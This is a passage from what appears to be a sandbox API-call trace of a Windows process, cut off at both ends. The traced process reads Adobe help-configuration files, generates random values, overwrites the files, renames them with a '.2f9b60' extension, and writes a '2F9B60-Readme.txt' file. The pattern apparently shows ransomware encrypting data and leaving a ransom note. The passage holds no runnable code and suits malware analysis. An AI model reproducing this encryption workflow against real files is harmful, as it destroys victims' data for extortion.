hFile=0xe8c, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.155] ReadFile (in: hFile=0xe8c, lpBuffer=0x2ff5f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ff5f6a8, lpOverlapped=0x0 | out: lpBuffer=0x2ff5f660*, lpNumberOfBytesRead=0x2ff5f6a8*=0x4, lpOverlapped=0x0) returned 1 [0155.156] SetFilePointerEx (in: hFile=0xe8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddab50 [0155.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddabe0 [0155.157] NtQuerySystemTime (in: CurrentTime=0x2ff5f5a0 | out: CurrentTime=0x2ff5f5a0*=132462177602818000) returned 0x0 [0155.174] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x53ef2555 [0155.174] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x6c1c6472 [0155.174] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x1254bb8b [0155.174] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x760a96d6 [0155.174] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x136cdd31 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x56d37394 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x357d84b5 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x2976b91d [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x104efdaa [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x73761cb [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x123670d0 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x18be4ed8 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x6170e8ad [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x2dba2e21 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x4a29fc3f [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x1ac99cf9 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x63021606 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x5cb1b706 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x51b81bb5 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x681b5056 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x53a3d817 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x150b8f96 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x763aff10 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x645e3cd [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x192f5fbe [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x3ba0c94b [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x43d93d81 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x18257230 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0xaf40ee3 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x5ff530b3 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x59e76f33 [0155.175] RtlRandomEx (in: Seed=0x2ff5f590 | out: Seed=0x2ff5f590) returned 0x2217c8fa [0155.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddac10 [0155.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d1c0 [0155.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddac40 [0155.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d1c0) returned 1 [0155.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddabe0) returned 1 [0155.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2510 [0155.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d1c0 [0155.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428f09e0 [0155.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428f45f0 [0155.194] ReadFile (in: hFile=0xe8c, lpBuffer=0x428f09e0, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2ff5f590, lpOverlapped=0x0 | out: lpBuffer=0x428f09e0*, lpNumberOfBytesRead=0x2ff5f590*=0x15d, lpOverlapped=0x0) returned 1 [0155.195] SetFilePointerEx (in: hFile=0xe8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.195] WriteFile (hFile=0xe8c, lpBuffer=0x428f45f0, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2ff5f594, lpOverlapped=0x0) [0192.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139eb0 [0192.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139ee0 [0192.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139ee0) returned 1 [0192.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428f45f0) returned 1 [0192.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428f09e0) returned 1 [0192.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d1c0) returned 1 [0192.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2510) returned 1 [0192.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d5b0 [0192.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2510 [0192.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d1c0 [0192.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139ee0 [0192.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139ee0) returned 1 [0192.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d5f0 [0192.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139ee0 [0192.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139f10 [0192.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139f10) returned 1 [0192.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d1c0) returned 1 [0192.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2510) returned 1 [0192.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x423aad10 [0192.823] SetFilePointerEx (in: hFile=0xe8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.823] WriteFile (in: hFile=0xe8c, lpBuffer=0x423aad10*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2ff5f6b0, lpOverlapped=0x0 | out: lpBuffer=0x423aad10*, lpNumberOfBytesWritten=0x2ff5f6b0*=0x118, lpOverlapped=0x0) returned 1 [0201.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0201.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda8e0 [0201.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda8e0) returned 1 [0201.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda8e0 [0201.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda8b0 [0201.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda7f0 [0201.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda7f0) returned 1 [0201.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0201.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0201.372] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="42") returned 2 [0201.373] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="02") returned 2 [0201.373] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="ba") returned 2 [0201.373] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="db") returned 2 [0201.373] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="cf") returned 2 [0201.373] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="87") returned 2 [0201.373] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="50") returned 2 [0201.373] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="09") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="aa") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="51") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="b3") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="d9") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="01") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="6c") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="f4") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="f4") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="ec") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="f3") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="14") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="e8") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="a7") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="c2") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="d0") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="da") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="d5") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="8f") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="70") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="32") returned 2 [0201.373] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="0d") returned 2 [0201.374] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="c1") returned 2 [0201.374] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="b7") returned 2 [0201.374] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="6b") returned 2 [0201.374] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.374] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="4a") returned 2 [0201.374] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="89") returned 2 [0201.374] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="06") returned 2 [0201.374] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.374] RtlInitAnsiString (in: DestinationString=0x2ff5f728, SourceString="4202badbcf875009aa51b3d9016cf4f4ecf314e8a7c2d0daf7d58f70320dc1b76bcd4a8906d8" | out: DestinationString="4202badbcf875009aa51b3d9016cf4f4ecf314e8a7c2d0daf7d58f70320dc1b76bcd4a8906d8") [0201.374] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ff5f6f8, SourceString="4202badbcf875009aa51b3d9016cf4f4ecf314e8a7c2d0daf7d58f70320dc1b76bcd4a8906d8", AllocateDestinationString=1 | out: DestinationString="4202badbcf875009aa51b3d9016cf4f4ecf314e8a7c2d0daf7d58f70320dc1b76bcd4a8906d8") returned 0x0 [0201.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431a6ca0 [0201.374] wcscat (in: _Dest=0x431a6bf0, _Source="4202badbcf875009aa5" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\4202badbcf875009aa5") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\4202badbcf875009aa5" [0201.374] wcscat (in: _Dest=0x431a6bf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\4202badbcf875009aa5.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\4202badbcf875009aa5.2f9b60" [0201.374] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\4202badbcf875009aa5.2f9b60", NtPathName=0x2ff5f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\4202badbcf875009aa5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310ab30 [0205.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310ab30) returned 1 [0205.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43207a40) returned 1 [0205.781] NtQueryInformationFile (in: FileHandle=0xe8c, IoStatusBlock=0x2ff5f738, FileInformation=0x2ff5f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ff5f738, FileInformation=0x2ff5f748) returned 0x0 [0205.781] NtSetInformationFile (FileHandle=0xe8c, IoStatusBlock=0x2ff5f738, FileInformation=0x2ff5f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6bf0) returned 1 [0208.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6ca0) returned 1 [0208.610] FlushFileBuffers (hFile=0xe8c) returned 1 [0208.616] CloseHandle (hObject=0xe8c) returned 1 [0211.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43187bc0 [0211.516] wcscpy (in: _Dest=0x43187bc0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\" [0211.516] wcscat (in: _Dest=0x43187bc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\2F9B60-Readme.txt" [0211.516] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\uk_ua\\2f9b60-readme.txt")) returned 0xffffffff [0211.516] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\uk_ua\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffc [0216.401] WriteFile (in: hFile=0xffc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2ff5f5f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2ff5f5f0*=0xba9, lpOverlapped=0x0) returned 1 [0220.297] CloseHandle (hObject=0xffc) returned 1 [0224.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43187bc0) returned 1 [0224.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205061d0) returned 1 Thread: id = 2534 os_tid = 0x2004 [0155.202] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_cn\\reader_10.0.helpcfg")) returned 0x20 [0155.202] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0155.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_cn\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9ac [0155.205] GetFileSizeEx (in: hFile=0x9ac, lpFileSize=0x3054f7a0 | out: lpFileSize=0x3054f7a0*=349) returned 1 [0155.205] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.205] ReadFile (in: hFile=0x9ac, lpBuffer=0x3054f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3054f768, lpOverlapped=0x0 | out: lpBuffer=0x3054f720*, lpNumberOfBytesRead=0x3054f768*=0x4, lpOverlapped=0x0) returned 1 [0155.206] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddabe0 [0155.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddac70 [0155.208] NtQuerySystemTime (in: CurrentTime=0x3054f660 | out: CurrentTime=0x3054f660*=132462177603442000) returned 0x0 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x38916321 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x3be99791 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x5cef98c0 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x5c675622 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x2095789d [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x5a4839c [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x2258724f [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x188282ca [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x4694d020 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x4f26113d [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x32a2e770 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x5d5f6c51 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x672aaf63 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x5e67e798 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x2a93647d [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x2da85587 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x366103ed [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x7074537f [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x2c3c9ea [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x1e555c0e [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x9b81e6f [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x382c1121 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x162cee3c [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x503a3f4a [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x7e1b1f7c [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x1e47b140 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x2a243415 [0155.208] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x52d8be2 [0155.209] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x7251a77a [0155.209] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x3b941e57 [0155.209] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x1a2eef4 [0155.209] RtlRandomEx (in: Seed=0x3054f650 | out: Seed=0x3054f650) returned 0x1e7ace1a [0155.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaca0 [0155.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce18500 [0155.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddacd0 [0155.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18500) returned 1 [0155.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddac70) returned 1 [0155.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18500 [0155.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23d20 [0155.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428f8200 [0155.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428fbe10 [0155.222] ReadFile (in: hFile=0x9ac, lpBuffer=0x428f8200, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x3054f650, lpOverlapped=0x0 | out: lpBuffer=0x428f8200*, lpNumberOfBytesRead=0x3054f650*=0x15d, lpOverlapped=0x0) returned 1 [0155.222] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.222] WriteFile (hFile=0x9ac, lpBuffer=0x428fbe10, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x3054f654, lpOverlapped=0x0) [0192.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139e50 [0192.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139e80 [0192.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139e80) returned 1 [0192.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428fbe10) returned 1 [0192.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428f8200) returned 1 [0192.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23d20) returned 1 [0192.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18500) returned 1 [0192.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d530 [0192.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18500 [0192.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23d20 [0192.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139e80 [0192.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139e80) returned 1 [0192.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d570 [0192.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139e80 [0192.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139eb0 [0192.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139eb0) returned 1 [0192.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23d20) returned 1 [0192.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18500) returned 1 [0192.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x423aabf0 [0192.815] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.815] WriteFile (in: hFile=0x9ac, lpBuffer=0x423aabf0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3054f770, lpOverlapped=0x0 | out: lpBuffer=0x423aabf0*, 